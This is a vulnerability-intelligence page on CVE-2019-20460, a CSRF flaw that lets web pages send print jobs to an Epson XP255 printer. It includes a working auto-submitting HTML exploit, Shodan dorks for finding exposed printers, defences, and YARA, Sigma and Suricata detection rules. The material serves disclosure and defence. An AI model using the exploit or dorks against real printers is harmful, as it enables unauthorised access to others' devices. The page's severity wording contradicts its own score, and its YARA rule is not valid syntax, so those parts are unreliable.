☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Epson logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2019-20460

CVE-2019-20460 Cross-Site Request Forgery in Epson
📅 PUBLISHED: 2024-11-07 00:00 UTC 🔄 UPDATED: 2026-08-12 11:29 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Japan License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-20460 exposes a critical Cross-Site Request Forgery (CSRF) vulnerability in the Epson Expression Home XP255 printer firmware version 20.08.FM10I8. The device fails to implement any anti-CSRF tokens or origin validation for POST requests, allowing an attacker to craft malicious web pages that, when visited by an authenticated user, can send arbitrary print jobs directly to the printer’s RAW interface. This can result in unauthorized physical printouts, potentially containing phishing lures, disinformation, or other harmful content. The vulnerability is unpatched as of the latest available information, and no official fix has been released by Epson.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on a physical IoT device. Supply chain risks include the possibility of pre-compromised devices or firmware updates that do not address the CSRF flaw.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Base Score: 4.3 (Medium)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required (victim must visit attacker-controlled page)
Scope: Unchanged
Confidentiality Impact: None
Integrity Impact: Low (unauthorized print output)
Availability Impact: None

Threat Level: Medium – Exploitation requires user interaction but can cause reputational damage, confusion, or physical waste.

Deep Dive & Mechanics

The Epson Expression Home XP255 printer exposes a web interface for configuration and management. The vulnerability lies in the absence of CSRF protection mechanisms for POST requests. Specifically, the printer does not validate the Origin or Referer headers, nor does it include a unique, unpredictable token in forms. This allows an attacker to host a malicious HTML page that, when loaded by a victim who is currently authenticated to the printer (e.g., via a browser session), automatically submits a POST request to the printer’s RAW print interface.

The RAW print interface accepts plain text or printer control languages (e.g., ESC/P, PCL) and sends them directly to the print engine. An attacker can craft a POST body containing arbitrary text or commands, resulting in an immediate physical printout. The attack does not require the victim to click any button; JavaScript can auto-submit the form.

Key Technical Details:

  • Affected Endpoint: / or /cgi-bin/... (POST to RAW interface)
  • Authentication: Session-based (cookie) – no CSRF token
  • Protocol: HTTP (likely no HTTPS by default)
  • Impact: Unauthorized print jobs, potential for social engineering via printed content

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is the firmware’s web server implementation that accepts POST requests without CSRF validation. A hypothetical fix would involve:

  • Adding a CSRF token to all forms and validating it server-side.
  • Checking the Origin or Referer header against a whitelist of allowed domains.
  • Requiring re-authentication for sensitive actions (e.g., printing).

Vulnerable Code Snippet (Conceptual):

# Vulnerable: No CSRF check
def handle_post(request):
    if request.path == '/print':
        data = request.body
        send_to_printer(data)
        return "OK"

Patched Code Snippet (Conceptual):

# Patched: CSRF token validation
import secrets
csrf_tokens = {}

def generate_csrf_token(session_id):
    token = secrets.token_hex(16)
    csrf_tokens[session_id] = token
    return token

def handle_post(request):
    if request.path == '/print':
        token = request.form.get('csrf_token')
        if token != csrf_tokens.get(request.session_id):
            return "Forbidden", 403
        data = request.body
        send_to_printer(data)
        return "OK"

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target Epson Expression Home XP255 with firmware 20.08.FM10I8
  • Victim must be logged into the printer’s web interface
  • Attacker-controlled web server

Exploit Steps:

  1. Host the following HTML page on an attacker-controlled server.
  2. Lure the victim (who is authenticated to the printer) to visit the page.
  3. The page auto-submits a POST request to the printer’s RAW interface, printing a malicious message.

Exploit HTML (CSRF):

<html>
<body>
<form id="csrf" action="http://<PRINTER_IP>/" method="POST" enctype="text/plain">
<input type="hidden" name=" " value="This is a malicious printout! Your printer is compromised.">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Note: The exact endpoint and parameter names may vary. Use network inspection (e.g., Burp Suite) to identify the correct POST target and body format.

Blue Team (Defense & Detection)

Defensive Measures:

  • Isolate the printer on a separate VLAN with strict firewall rules.
  • Disable the web interface if not needed.
  • Use a reverse proxy to add CSRF protection (e.g., ModSecurity with CSRF rules).
  • Monitor for unexpected print jobs via printer logs or SIEM.

Detection:

  • Monitor HTTP POST requests to printer IPs from external sources.
  • Alert on unusual print job sizes or content (e.g., text-only jobs).
  • Use network segmentation to prevent direct internet access to printers.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to printer IP on port 80/443 with no Referer or Origin header matching the printer’s domain.
  • Logs: Printer access logs showing POST requests from unexpected IPs (e.g., external internet).
  • Physical: Unexpected printouts containing phishing messages, warnings, or random text.
  • File: No file-based IOCs; this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2019_20460_CSRF_Print {
    meta:
        description = "Detects CSRF attempts against Epson Expression Home XP255 printers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-20460"
    strings:
        $post_method = "POST"
        $print_endpoint = "/"  // Adjust based on actual endpoint
        $raw_print = "RAW"  // Optional: if present in body
    condition:
        http.method == $post_method and
        http.uri == $print_endpoint and
        for any of ($raw_print) : ( # in http.request_body )
}

Sigma Rule

title: CVE-2019-20460 Epson Printer CSRF Print Job
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to Epson printer without proper CSRF headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/'
        sc-status: 200
    filter:
        cs-referer: 'http://<PRINTER_IP>/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from trusted networks
level: medium

Suricata Rule

alert http any any -> $HOME_NET 80 (msg:"CVE-2019-20460 Epson Printer CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/"; http_uri; pcre:"/^Referer\x3a\x20(?!http:\/\/<PRINTER_IP>)/Hi"; sid:1000001; rev:1;)

Note: Replace <PRINTER_IP> with the actual printer IP in your environment.

Remediation & Mitigation

Immediate Actions:

  1. Disable Web Interface: If not required, disable the printer’s web server via the printer’s settings menu.
  2. Network Segmentation: Place the printer on a separate VLAN with strict ACLs, allowing only trusted admin IPs.
  3. Use a Reverse Proxy: Deploy a reverse proxy (e.g., Nginx, Apache) in front of the printer to add CSRF tokens and validate headers.
  4. Monitor Logs: Enable and review printer access logs for suspicious POST requests.

Long-Term Fix:

  • Contact Epson support to request a firmware update that includes CSRF protection.
  • If no patch is forthcoming, consider replacing the device with a model that supports modern security features (e.g., HTTPS, CSRF tokens).

Workaround:

  • Use a browser extension (e.g., NoScript, uMatrix) to block cross-site requests to the printer IP.
  • Educate users not to browse the web while logged into the printer’s admin interface.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Epson"
http.html:"Expression Home XP255"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-20460/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.